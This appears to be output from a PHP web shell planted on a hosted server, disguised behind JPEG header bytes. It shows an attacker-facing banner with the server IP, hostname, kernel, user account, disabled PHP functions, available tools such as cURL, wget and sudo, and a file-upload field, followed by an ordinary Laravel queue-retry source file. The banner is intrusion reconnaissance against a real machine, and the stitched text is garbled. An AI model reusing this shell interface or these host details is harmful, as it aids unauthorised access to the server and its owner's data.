ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 13.59.87.38 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/laravel/framework/src/Illuminate/Queue/Console/ |
Upload File : |
<?php namespace Illuminate\Queue\Console; use Illuminate\Support\Arr; use Illuminate\Console\Command; class RetryCommand extends Command { /** * The console command signature. * * @var string */ protected $signature = 'queue:retry {id* : The ID of the failed job or "all" to retry all jobs}'; /** * The console command description. * * @var string */ protected $description = 'Retry a failed queue job'; /** * Execute the console command. * * @return void */ public function handle() { foreach ($this->getJobIds() as $id) { $job = $this->laravel['queue.failer']->find($id); if (is_null($job)) { $this->error("Unable to find failed job with ID [{$id}]."); } else { $this->retryJob($job); $this->info("The failed job [{$id}] has been pushed back onto the queue!"); $this->laravel['queue.failer']->forget($id); } } } /** * Get the job IDs to be retried. * * @return array */ protected function getJobIds() { $ids = (array) $this->argument('id'); if (count($ids) === 1 && $ids[0] === 'all') { $ids = Arr::pluck($this->laravel['queue.failer']->all(), 'id'); } return $ids; } /** * Retry the queue job. * * @param \stdClass $job * @return void */ protected function retryJob($job) { $this->laravel['queue']->connection($job->connection)->pushRaw( $this->resetAttempts($job->payload), $job->queue ); } /** * Reset the payload attempts. * * Applicable to Redis jobs which store attempts in their payload. * * @param string $payload * @return string */ protected function resetAttempts($payload) { $payload = json_decode($payload, true); if (isset($payload['attempts'])) { $payload['attempts'] = 0; } return json_encode($payload); } }